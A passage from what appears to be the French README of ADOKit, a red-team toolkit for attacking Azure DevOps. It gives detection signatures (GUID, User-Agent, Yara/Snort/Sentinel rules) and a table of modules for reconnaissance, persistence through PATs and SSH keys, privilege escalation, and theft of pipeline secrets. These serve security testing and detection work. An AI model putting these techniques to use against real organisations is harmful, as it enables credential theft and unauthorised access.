Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04 Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
## Détection
Voici les signatures statiques pour l'utilisation spécifique de cet outil dans son état par défaut :
* GUID du projet - `{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}`
* Voir [règle Yara ADOKit](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.yar) dans ce dépôt.
* Chaîne User-Agent - `ADOKit-21e233d4334f9703d1a3a42b6e2efd38`
* Voir [règle Snort ADOKit](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.rules) dans ce dépôt.
* [Règles Microsoft Sentinel](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/Sentinel-Rules)
* `ADOKitUsage.json` - Détecte l'utilisation d'ADOKit avec tout événement auditable (par exemple, ajouter un utilisateur à un groupe)
* `PersistenceTechniqueWithADOKit.json` - Détecte la création d'un PAT ou d'une clé SSH avec ADOKit
Pour des conseils de détection des techniques utilisées par l'outil, consultez le [livre blanc](https://www.ibm.com/downloads/cas/5JKAPVYD) de X-Force Red.
## Feuille de route
* Prise en charge d'Azure DevOps Server
## Références
* `https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1`
* `https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops`
| Scénario d'attaque | Module | Autorisations spéciales ? | Remarques |
|---|
| Reconnaissance | check | Non | |
| Reconnaissance | whoami | Non | |
| Reconnaissance | listorgs | Non | |
| Reconnaissance | listrepo | Non | |
| Reconnaissance | searchrepo | Non | |
| Reconnaissance | listproject | Non | |
| Reconnaissance | searchproject | Non | |
| Reconnaissance | searchcode | Non | |
| Reconnaissance | searchfile | Non | |
| Reconnaissance | listuser | Non | |
| Reconnaissance | searchuser | Non | |
| Reconnaissance | listteam | Non | |
| Reconnaissance | searchteam | Non | |
| Reconnaissance | getteammembers | Non | |
| Reconnaissance | listgroup | Non | |
| Reconnaissance | searchgroup | Non | |
| Reconnaissance | getgroupmembers | Non | |
| Reconnaissance | getpermissions | Non | |
| Reconnaissance | creds | Non | |
| Reconnaissance | getbuildlogs | Oui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators | |
| Reconnaissance | listbuildlogs | Oui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators | |
| Reconnaissance | searchbuildlogs | Oui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators | |
| Persistance | createpat | Non | |
| Persistance | listpat | Non | |
| Persistance | removepat | Non | |
| Persistance | createsshkey | Non | |
| Persistance | listsshkey | Non | |
| Persistance | removesshkey | Non | |
| Élévation de privilèges | addprojectadmin | Oui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | removeprojectadmin | Oui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | addbuildadmin | Oui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | removebuildadmin | Oui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | addcollectionadmin | Oui - Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | removecollectionadmin | Oui - Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | addcollectionbuildadmin | Oui - Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | removecollectionbuildadmin | Oui - Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | addcollectionbuildsvc | Oui - Project Collection Administrator, Project Collection Build Administrators ou Project Collection Service Accounts | |
| Élévation de privilèges | removecollectionbuildsvc | Oui - Project Collection Administrator, Project Collection Build Administrators ou Project Collection Service Accounts | |
| Élévation de privilèges | addcollectionsvc | Oui - Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | removecollectionsvc | Oui - Project Collection Administrator ou Project Collection Service Accounts | |
| Élévation de privilèges | getpipelinevars | Oui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators | |
| Élévation de privilèges | getpipelinesecrets | Oui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators | |
| Élévation de privilèges | getvariablegroups | Oui - Contributors ou Readers ou Build Administrators ou Project Administrators ou Project Team Member ou Project Collection Test Service Accounts ou Project Collection Build Service Accounts ou Project Collection Build Administrators ou Project Collection Service Accounts ou Project Collection Administrators | |
| Élévation de privilèges | getserviceconnections | Oui - Project Administrator, Project Collection Administrator ou Project Collection Service Accounts |